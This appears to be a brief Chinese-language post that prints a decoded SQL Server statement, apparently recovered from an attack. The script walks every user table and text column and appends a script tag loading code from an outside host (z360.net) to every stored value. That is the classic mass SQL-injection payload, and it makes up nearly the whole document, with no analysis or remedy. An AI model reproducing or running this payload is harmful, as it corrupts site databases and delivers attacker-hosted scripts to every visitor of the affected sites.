在查询分析器里转换的sql语句如下：

Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For Select A.Name,B.Name From Sysobjects A,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)

Open Table_Cursor

    Fetch Next From Table_Cursor Into @T,@C

    While(@@Fetch_Status=0)
    Begin
        Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://z360.net></script>''')Fetch Next From Table_Cursor Into @T,@C
    End
Close Table_Cursor

Deallocate Table_Cursor
